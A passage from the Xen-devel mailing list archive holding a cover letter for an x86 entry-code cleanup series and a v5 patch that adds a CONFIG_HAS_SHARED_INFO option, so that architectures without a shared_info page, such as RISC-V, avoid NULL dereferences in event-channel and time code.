	ry8cguJ4X9XmZiI/FvIHk72f2GWb6t8I0c9DRnShyyLFZP8ZK4KvQuMnsHI6W6+N3LfKD+R4QVY
	qmYZBbX2JtPq3s9mu6VQqkknIgLNKipG3rI5rqzbeSdy6/haiWxZrNNYklSnaHbeue5ognZkK75
	uK2Sn+wLt7s8h7vws56cmG8OWMq1mTTIJZMJe1tpVjdF4YK/h3GGoG3usTqQhrRfY=
X-Received: by 2002:a7b:ca43:0:b0:493:df5d:6ca6 with SMTP id 5b1f17b1804b1-493df5d6cafmr686255e9.25.1783352058828;
        Mon, 06 Jul 2026 08:34:18 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH 0/3] x86/entry: GPR handling improvements
Date: Mon,  6 Jul 2026 16:34:12 +0100
Message-Id: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1783352060-816DB1E0-1D52B02E/0/0
X-purgate-type: clean
X-purgate-size: 736

Finish the conversion to PUSH/POP_GPRS, and remove SAVE/RESTORE_ALL.

Slightly RFC; testing still ongoing, but I dont anticipate any issues.

Andrew Cooper (3):
  x86/hvm: Use PUSH_AND_CLEAR_GPRS in preference to SAVE_ALL
  x86/entry: Use POP_GPRS and remove RESTORE_ALL
  x86/entry: Use PUSH_AND_CLEAR_GPRS and drop SAVE_ALL

 xen/arch/x86/hvm/svm/entry.S         |  2 +-
 xen/arch/x86/hvm/vmx/entry.S         |  4 +-
 xen/arch/x86/include/asm/asm_defns.h | 95 +---------------------------
 xen/arch/x86/x86_64/compat/entry.S   | 12 ++--
 xen/arch/x86/x86_64/entry.S          | 37 ++++++-----
 5 files changed, 31 insertions(+), 119 deletions(-)


base-commit: eca5f92e6b6b6135092ec179647a9349dfe8f907
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355478.1610256 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglhp-0005xb-LY; Mon, 06 Jul 2026 15:58:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355478.1610256; Mon, 06 Jul 2026 15:58:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglhp-0005xU-IE; Mon, 06 Jul 2026 15:58:01 +0000
Received: by outflank-mailman (input) for mailman id 1355478;
 Mon, 06 Jul 2026 15:57:59 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wglhn-0005wC-CX
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:57:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglhm-009yhn-1Q
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:57:58 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd06f-e002-0a2a0a5209dd-0a2a4502e43c-30
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:57:58 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd085-5a27-0a2a45020019-d155dd34d14d-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:57:57 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-471eeac43bfso3588219f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:57:57 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1e6ccsm26348562f8f.5.2026.07.06.08.57.55
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:57:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353477; x=1783958277; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to;
        bh=6ThlkkY8xlNJZqfpe1tEj2IYsUOL0HElHSB7ghhFKhE=;
        b=Lh7Rs+gEAynZewfhEvhSdBYB38hEJCARYxKrpEkMPQoch/a0fD1ddWfm7E0srfe/Bj
         OHujd79Bd4QXCnKLE3TNVXkSFe73os8vV2zYqn0aLqVLIqpj8jxNkdS7HzrX8tEJfh+T
         J7ST+lv0wfiEEOIhiEz7yhJmTRvpSt5p/XCWRkxOP5X3yJ3VbLgPZu0e/r0DlikvCvvp
         BUpWfA6nszimDxD11pFgnGiZbzuueUKD6kiCSI58VD5AcvAmZmS9+EypQ3Hjxql7iUP7
         AC5FNxjnCMAfCmxpZgcWboRH4p7pdHFSLtP6We8+CAlbcQCNlfDXArjZa91ljvFiZ7ff
         /uWw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353477; x=1783958277;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=6ThlkkY8xlNJZqfpe1tEj2IYsUOL0HElHSB7ghhFKhE=;
        b=KWrzjhXpXlssEHvIRyQtLm6fnMLSUcHXy8fhqFv/iY/VStNwGJthuIToPPl/VdQkC7
         SyY3SXgHR9Ny8D+uiJYYEbfAGxd6qoyZaRHn13RKUlt29GXL7c+9DOJjK+7jNCdi/O0M
         2Qqn1aaVBrjKDx+jBm5k3Z6NbLELj2QC6uRC2tptr9c30VFnW94hHz17wFsek3sFs+Ie
         in0fHGbobd6ZnJKdVaYmj8izrgkE8rIsVJbdk4O+939sKy7cGK83yd8bd4mXnhSI9lhk
         GQL/ygWsZEFYuHS9leC9cjGokmxWoYiuwDZ9t+Czlb+DnDEkHV7eJ0LUQMRrF5eBN03Y
         Cr9A==
X-Gm-Message-State: AOJu0Yx5zbvfauSPQrXMsH6M7SrnMXodIacstgX6ocapcmjHZ9RhhvlJ
	ecBy7xm0l48jiMU4tojpbkSiE99LTOe9khdQpjHCbGqvsHt+lubjTFogWGiZjQ==
X-Gm-Gg: AfdE7cl6nm7tSXqQ4MeKvLGAg5eWpxe+BQWH2MdxKsqBNnDOrr0Ct8+wkFbQd2Mj7Jm
	LaTv5gug3EmMyOmgjwsTdH9BHYvSiZj7xZBLHipTJFJV1VZlLnSiHmNkmg0p4KEP0LYzYblAFyy
	8UJnKIM6/gv+VFId8DZ869AbPpjHSBtSlJiBVC/Fnwv+yzbQsg5c2Zy0UYecDcwdDpUUjkV9us3
	I8+aV2CcanNmsWcSV8H9Tt0mnyqjkib0Io7ABTgp4iQAUzynCJDPsCtUsrcwg8yYcj0ffFDubkC
	QfxnXrqGjgVnvZAWBW7Mw4ZOg9f4BxdeWAmynOugVgWPuGIRIII378sJChGfsAu3Av50Ayyx7Mr
	yOhxG8JHA9p7biWGMzs2l/+yUwoMs9QqMRHwwLtkbf+E9o0x3aa120gFGH7JURUcvZ+QXEbdaMW
	q8z+f7PSd3vqc9LsOhtlyQ7O0g5pNKy9OWoQQDRNszbikizYGHD4mhaBwoI13cLzz6MdEO
X-Received: by 2002:a5d:5509:0:b0:47d:e63f:dbe with SMTP id ffacd0b85a97d-47de66b4c1fmr686751f8f.24.1783353476795;
        Mon, 06 Jul 2026 08:57:56 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v5] xen: introduce CONFIG_HAS_SHARED_INFO for archs without a shared page
Date: Mon,  6 Jul 2026 17:57:48 +0200
Message-ID: <6948fb2823ffa41cf2eabbd87952b236e4f379bf.1783085655.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783353477-56EEA7C5-68D53BFB/10/73395122804
X-purgate-type: spam
X-purgate-size: 15860

On architectures that run guests in dom0less mode without the PV ABI
(currently RISC-V), no shared_info page is allocated and d->shared_info
remains NULL throughout the domain lifetime.  Several places in common
code access d->shared_info through the shared_info() macro or directly,
causing UBSAN null-pointer errors on such architectures.

Rather than adding runtime NULL guards that are logically unreachable
on x86 and Arm (where shared_info is always allocated), introduce a new
Kconfig symbol CONFIG_HAS_SHARED_INFO selected by x86 and Arm.

On !HAS_SHARED_INFO the shared_info() macro expands to a dereference
of shared_info_absent, an extern pointer that is declared but
intentionally never defined.  Any use of shared_info() that is not
dead-code-eliminated will therefore cause a link-time failure, making
missed guards impossible to overlook.

The 2L event-channel ops call shared_info() and must not be compiled on
architectures without a shared_info page, so event_2l.o is gated on
CONFIG_HAS_SHARED_INFO.  On such architectures evtchn_init() installs the
FIFO ops as a placeholder instead, so that a later guest opt-in to the
FIFO ABI via EVTCHNOP_init_control has no special-casing to do; if FIFO
support itself is also unavailable (!CONFIG_EVTCHN_FIFO), a dedicated
no-op evtchn_port_ops_none table is installed instead, so that
d->evtchn_port_ops is never NULL.  evtchn_fifo_word_from_port() is
guarded against uninitialised d->evtchn_fifo so the FIFO ops are safe
before evtchn_fifo_init_control() is called by the guest.

With CONFIG_HAS_SHARED_INFO=n all vCPUs fall back to the global
dummy_vcpu_info, so writes through vcpu_info() could leak data between
vCPUs. Reviewing the write paths in common code: the write in
map_guest_area() stores the constant ~0 so nothing serious would happen
if it were leaked; the event_2l.c paths are not compiled on
!HAS_SHARED_INFO, as event_2l.o is gated on CONFIG_HAS_SHARED_INFO; the
write in vcpu_info_populate() targets the new mapping buffer, not
dummy_vcpu_info.

Outside common code, the remaining writes are x86 PV-specific, for which
CONFIG_HAS_SHARED_INFO=y. No code changes are needed.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
 - drop the static inline evtchn_2l_init() stub for !HAS_SHARED_INFO;
   a plain declaration is enough since the only call sites are guarded by
   IS_ENABLED(CONFIG_HAS_SHARED_INFO) and the dead call is eliminated
   before linking.
 - fix a NULL d->evtchn_port_ops dereference when CONFIG_HAS_SHARED_INFO=n
   and CONFIG_EVTCHN_FIFO=n: evtchn_init() was unconditionally calling
   evtchn_fifo_init_ops(), whose !EVTCHN_FIFO stub leaves d->evtchn_port_ops
   unset.  Gate the FIFO branch on IS_ENABLED(CONFIG_EVTCHN_FIFO) and add
   a dedicated evtchn_port_ops_none table for the remaining case. Stubs
   are shared where signatures permit: evtchn_none_noop covers both
   clear_pending and unmask; evtchn_none_false covers both is_pending and
   is_masked. evtchn_none_init() is called only from event_channel.c, so its
   declaration is kept there rather than in event_channel.h.
 - gate evtchn_fifo_init_ops() on !CONFIG_HAS_SHARED_INFO;
   its only call site is in the IS_ENABLED(CONFIG_EVTCHN_FIFO) dead branch
   of evtchn_init(), which is never reached on HAS_SHARED_INFO=y builds.
---
Changes in v4:
 - event_channel.c: drop the redundant evtchn_fifo_init_ops() in the
   else branch of evtchn_reset(); evtchn_fifo_destroy() does not undo the
   ops installed by evtchn_init(), so only the switch back to 2-level ABI
   needs an explicit call.
 - shared.h: simplify the !HAS_SHARED_INFO shared_info() definition to use
   an undefined "extern struct shared_info *shared_info_absent" instead of
   shared_info_absent() with a typeof cast.
 - Extend the commit description to note that vcpu_info()/__vcpu_info()
   uses were also audited: on !HAS_SHARED_INFO vcpu_info_area.map points at
   dummy_vcpu_info, reads are harmless, and writes in common code do not
   open a cross-domain info-leak side channel, so no code changes are
   needed on that path.
---
Changes in v3:
 - Introduce CONFIG_HAS_SHARED_INFO Kconfig symbol selected by x86
   and Arm; RISC-V does not select it.
 - Gate shared_info() macro on CONFIG_HAS_SHARED_INFO; on
   !HAS_SHARED_INFO it calls shared_info_absent() (declared, never
   defined) so any unguarded use produces a link-time error.
 - Replace runtime if (!d->shared_info) guards with IS_ENABLED() at
   call sites so both branches type-check and dead code is eliminated.
 - Guard shared_info_frame assignment in domctl.c.
 - Gate event_2l.o on CONFIG_HAS_SHARED_INFO; use FIFO ops as
   placeholder on !HAS_SHARED_INFO archs instead of dedicated stub
   ops; guard evtchn_fifo_word_from_port() against uninitialised
   d->evtchn_fifo.
 - Add static inline stubs for evtchn_2l_init() (!HAS_SHARED_INFO)
   and evtchn_fifo_init_ops() (!EVTCHN_FIFO) so call sites can use
   IS_ENABLED() without #ifdef.
 - Drop inaccurate changelog entry about "only FIFO ABI" migration.
 - Update the commit message.
 - Drop R-by: Baptiste ... as some extra checks are added.
---
Changes in v2:
 - Update commit message + subject.
 - Drop Fixes tag.
---
 xen/arch/arm/Kconfig       |  1 +
 xen/arch/x86/Kconfig       |  1 +
 xen/common/Kconfig         |  3 +++
 xen/common/Makefile        |  2 +-
 xen/common/domain.c        |  6 ++---
 xen/common/domctl.c        | 11 ++++++---
 xen/common/event_channel.c | 49 +++++++++++++++++++++++++++++++++++---
 xen/common/event_channel.h |  2 ++
 xen/common/event_fifo.c    | 18 +++++++++++++-
 xen/common/time.c          |  2 ++
 xen/include/xen/shared.h   |  8 ++++++-
 xen/include/xen/time.h     |  4 ++++
 12 files changed, 95 insertions(+), 12 deletions(-)

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 5fa89fcb2428..683ab7d25a1e 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -20,6 +20,7 @@ config ARM
 	select HAS_DEVICE_TREE_DISCOVERY
 	select HAS_DOM0LESS
 	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
+	select HAS_SHARED_INFO
 	select HAS_STACK_PROTECTOR
 	select HAS_UBSAN
 
diff --git a/xen/arch/x86/Kconfig b/xen/arch/x86/Kconfig
index 2ce4747f6ea7..49697b795259 100644
--- a/xen/arch/x86/Kconfig
+++ b/xen/arch/x86/Kconfig
@@ -29,6 +29,7 @@ config X86
 	select HAS_PCI_MSI
 	select HAS_PIRQ
 	select HAS_SCHED_GRANULARITY
+	select HAS_SHARED_INFO
 	imply HAS_SOFT_RESET
 	select HAS_UBSAN
 	select HAS_VMAP
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index 5ff71480eebe..8b48d84c79e8 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -158,6 +158,9 @@ config HAS_PMAP
 config HAS_SCHED_GRANULARITY
 	bool
 
+config HAS_SHARED_INFO
+	bool
+
 config HAS_SOFT_RESET
 	bool
 
diff --git a/xen/common/Makefile b/xen/common/Makefile
index 6018e256147f..f69d47d18934 100644
--- a/xen/common/Makefile
+++ b/xen/common/Makefile
@@ -12,7 +12,7 @@ obj-$(CONFIG_DEVICE_TREE_PARSE) += device-tree/
 obj-$(CONFIG_IOREQ_SERVER) += dm.o
 obj-y += domain.o
 obj-y += domid.o
-obj-y += event_2l.o
+obj-$(CONFIG_HAS_SHARED_INFO) += event_2l.o
 obj-y += event_channel.o
 obj-$(CONFIG_EVTCHN_FIFO) += event_fifo.o
 obj-$(CONFIG_GRANT_TABLE) += grant_table.o
diff --git a/xen/common/domain.c b/xen/common/domain.c
index 8f2bfcae2890..fba8e9161937 100644
--- a/xen/common/domain.c
+++ b/xen/common/domain.c
@@ -316,9 +316,9 @@ void vcpu_info_reset(struct vcpu *v)
     struct domain *d = v->domain;
 
     v->vcpu_info_area.map =
-        ((v->vcpu_id < XEN_LEGACY_MAX_VCPUS)
-         ? (vcpu_info_t *)&shared_info(d, vcpu_info[v->vcpu_id])
-         : &dummy_vcpu_info);
+        IS_ENABLED(CONFIG_HAS_SHARED_INFO) && v->vcpu_id < XEN_LEGACY_MAX_VCPUS
+        ? (vcpu_info_t *)&shared_info(d, vcpu_info[v->vcpu_id])
+        : &dummy_vcpu_info;
 }
 
 static struct domain *alloc_domain_struct(void)
diff --git a/xen/common/domctl.c b/xen/common/domctl.c
index e30b38a337ac..5e5632f912d3 100644
--- a/xen/common/domctl.c
+++ b/xen/common/domctl.c
@@ -102,9 +102,14 @@ void getdomaininfo(struct domain *d, struct xen_domctl_getdomaininfo *info)
 #ifdef CONFIG_MEM_PAGING
     info->paged_pages       = atomic_read(&d->paged_pages);
 #endif
-    info->shared_info_frame =
-        gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
-    BUG_ON(SHARED_M2P(info->shared_info_frame));
+    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
+    {
+        info->shared_info_frame =
+            gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
+        BUG_ON(SHARED_M2P(info->shared_info_frame));
+    }
+    else
+        info->shared_info_frame = INVALID_GFN_RAW;
 
     info->cpupool = cpupool_get_id(d);
 
diff --git a/xen/common/event_channel.c b/xen/common/event_channel.c
index a3d18bc464e8..ff744e30559d 100644
--- a/xen/common/event_channel.c
+++ b/xen/common/event_channel.c
@@ -40,6 +40,9 @@
 
 #define consumer_is_xen(e) (!!(e)->xen_consumer)
 
+/* Defined below when !CONFIG_HAS_SHARED_INFO; call is DCE'd otherwise. */
+void evtchn_none_init(struct domain *d);
+
 /*
  * Lock an event channel exclusively. This is allowed only when the channel is
  * free or unbound either when taking or when releasing the lock, as any
@@ -1323,9 +1326,13 @@ int evtchn_reset(struct domain *d, bool resuming)
         rc = -EAGAIN;
     else if ( d->evtchn_fifo )
     {
-        /* Switching back to 2-level ABI. */
         evtchn_fifo_destroy(d);
-        evtchn_2l_init(d);
+
+        if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
+            /* Switching back to 2-level ABI. */
+            evtchn_2l_init(d);
+        else
+            evtchn_none_init(d);
     }
 
     write_unlock(&d->event_lock);
@@ -1622,9 +1629,45 @@ void evtchn_check_pollers(struct domain *d, unsigned int port)
     }
 }
 
+#ifndef CONFIG_HAS_SHARED_INFO
+/*
+ * Placeholder ops for domains with neither a shared_info page nor (yet)
+ * a FIFO control block.  None of these are ever reachable in practice;
+ * they only exist to keep d->evtchn_port_ops non-NULL.
+ */
+static void cf_check evtchn_none_set_pending(
+    struct vcpu *v, struct evtchn *evtchn) {}
+static void cf_check evtchn_none_noop(
+    struct domain *d, struct evtchn *evtchn) {}
+static bool cf_check evtchn_none_false(
+    const struct domain *d, const struct evtchn *evtchn) { return false; }
+static void cf_check evtchn_none_print_state(
+    struct domain *d, const struct evtchn *evtchn) {}
+
+static const struct evtchn_port_ops evtchn_port_ops_none = {
+    .set_pending   = evtchn_none_set_pending,
+    .clear_pending = evtchn_none_noop,
+    .unmask        = evtchn_none_noop,
+    .is_pending    = evtchn_none_false,
+    .is_masked     = evtchn_none_false,
+    .print_state   = evtchn_none_print_state,
+};
+
+void evtchn_none_init(struct domain *d)
+{
+    d->evtchn_port_ops = &evtchn_port_ops_none;
+}
+#endif /* !CONFIG_HAS_SHARED_INFO */
+
 int evtchn_init(struct domain *d, unsigned int max_port)
 {
-    evtchn_2l_init(d);
+    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
+        evtchn_2l_init(d);
+    else if ( IS_ENABLED(CONFIG_EVTCHN_FIFO) )
+        evtchn_fifo_init_ops(d);
+    else
+        evtchn_none_init(d);
+
     d->max_evtchn_port = min_t(unsigned int, max_port, INT_MAX);
 
     d->evtchn = alloc_evtchn_bucket(d, 0);
diff --git a/xen/common/event_channel.h b/xen/common/event_channel.h
index dc94a43cc2dd..d3e5424f6ac8 100644
--- a/xen/common/event_channel.h
+++ b/xen/common/event_channel.h
@@ -55,6 +55,7 @@ struct evtchn_expand_array;
 int evtchn_fifo_init_control(struct evtchn_init_control *init_control);
 int evtchn_fifo_expand_array(const struct evtchn_expand_array *expand_array);
 void evtchn_fifo_destroy(struct domain *d);
+void evtchn_fifo_init_ops(struct domain *d);
 #else
 static inline int evtchn_fifo_init_control(struct evtchn_init_control *init_control)
 {
@@ -68,6 +69,7 @@ static inline void evtchn_fifo_destroy(struct domain *d)
 {
     return;
 }
+static inline void evtchn_fifo_init_ops(struct domain *d) {}
 #endif /* CONFIG_EVTCHN_FIFO */
 
 #endif /* EVENT_CHANNEL_H */
diff --git a/xen/common/event_fifo.c b/xen/common/event_fifo.c
index 37cba9bc4564..56f1bcb967f2 100644
--- a/xen/common/event_fifo.c
+++ b/xen/common/event_fifo.c
@@ -62,6 +62,9 @@ static inline event_word_t *evtchn_fifo_word_from_port(const struct domain *d,
      */
     smp_rmb();
 
+    if ( unlikely(!d->evtchn_fifo) )
+        return NULL;
+
     if ( unlikely(port >= d->evtchn_fifo->num_evtchns) )
         return NULL;
 
@@ -420,6 +423,18 @@ static const struct evtchn_port_ops evtchn_port_ops_fifo =
     .print_state   = evtchn_fifo_print_state,
 };
 
+/*
+ * evtchn_fifo_init_ops() only call site is in the
+ * IS_ENABLED(CONFIG_EVTCHN_FIFO) dead branch of evtchn_init(), which is never
+ * reached on HAS_SHARED_INFO=y builds because of DCE.
+ */
+#ifndef CONFIG_HAS_SHARED_INFO
+void evtchn_fifo_init_ops(struct domain *d)
+{
+    d->evtchn_port_ops = &evtchn_port_ops_fifo;
+}
+#endif
+
 static int map_guest_page(struct domain *d, uint64_t gfn, void **virt)
 {
     struct page_info *p;
@@ -562,7 +577,8 @@ static void setup_ports(struct domain *d, unsigned int prev_evtchns)
 
         evtchn = evtchn_from_port(d, port);
 
-        if ( guest_test_bit(d, port, &shared_info(d, evtchn_pending)) )
+        if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) &&
+             guest_test_bit(d, port, &shared_info(d, evtchn_pending)) )
             evtchn->pending = true;
 
         evtchn_fifo_set_priority(d, evtchn, EVTCHN_FIFO_PRIORITY_DEFAULT);
diff --git a/xen/common/time.c b/xen/common/time.c
index 04a65f00b35c..cdfdc53b6a17 100644
--- a/xen/common/time.c
+++ b/xen/common/time.c
@@ -89,6 +89,7 @@ struct tm gmtime(unsigned long t)
     return tbuf;
 }
 
+#ifdef CONFIG_HAS_SHARED_INFO
 void update_domain_wallclock_time(struct domain *d)
 {
     uint32_t *wc_version;
@@ -117,6 +118,7 @@ void update_domain_wallclock_time(struct domain *d)
 
     spin_unlock(&wc_lock);
 }
+#endif /* CONFIG_HAS_SHARED_INFO */
 
 /* Set clock to <secs,usecs> after 00:00:00 UTC, 1 January, 1970. */
 void do_settime(u64 secs, unsigned int nsecs, u64 system_time_base)
diff --git a/xen/include/xen/shared.h b/xen/include/xen/shared.h
index 5b71342cab32..f20a46801181 100644
--- a/xen/include/xen/shared.h
+++ b/xen/include/xen/shared.h
@@ -43,7 +43,13 @@ typedef struct vcpu_info vcpu_info_t;
 
 extern vcpu_info_t dummy_vcpu_info;
 
-#define shared_info(d, field)      __shared_info(d, (d)->shared_info, field)
+#ifdef CONFIG_HAS_SHARED_INFO
+#define shared_info(d, field) __shared_info(d, (d)->shared_info, field)
+#else
+extern struct shared_info *shared_info_absent;
+#define shared_info(d, field) (((void)(d), shared_info_absent)->field)
+#endif /* CONFIG_HAS_SHARED_INFO */
+
 #define vcpu_info(v, field)        \
         __vcpu_info(v, (vcpu_info_t *)(v)->vcpu_info_area.map, field)
 
diff --git a/xen/include/xen/time.h b/xen/include/xen/time.h
index e9c0822e6f31..2f872f580ffc 100644
--- a/xen/include/xen/time.h
+++ b/xen/include/xen/time.h
@@ -66,7 +66,11 @@ struct tm wallclock_time(uint64_t *ns);
 #define version_update_begin(v) (((v) + 1) | 1)
 #define version_update_end(v)   ((v) + 1)
 extern void update_vcpu_system_time(struct vcpu *v);
+#ifdef CONFIG_HAS_SHARED_INFO
 extern void update_domain_wallclock_time(struct domain *d);
+#else
+static inline void update_domain_wallclock_time(struct domain *d) {}
+#endif
 
 extern void do_settime(
     u64 secs, unsigned int nsecs, u64 system_time_base);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355480.1610265 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgli9-0006Mz-2N; Mon, 06 Jul 2026 15:58:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355480.1610265; Mon, 06 Jul 2026 15:58:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgli8-0006Mo-Tg; Mon, 06 Jul 2026 15:58:20 +0000
Received: by outflank-mailman (input) for mailman id 1355480;
 Mon, 06 Jul 2026 15:58:19 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgli7-0006K8-I8
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgli6-00AcTL-VD
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:18 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd070-5cb7-0a2a0a5109dd-0a2a4508e958-38
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:18 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09a-edec-0a2a45080019-d1558036a431-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:18 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493bab44440so17346925e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:18 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.17
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
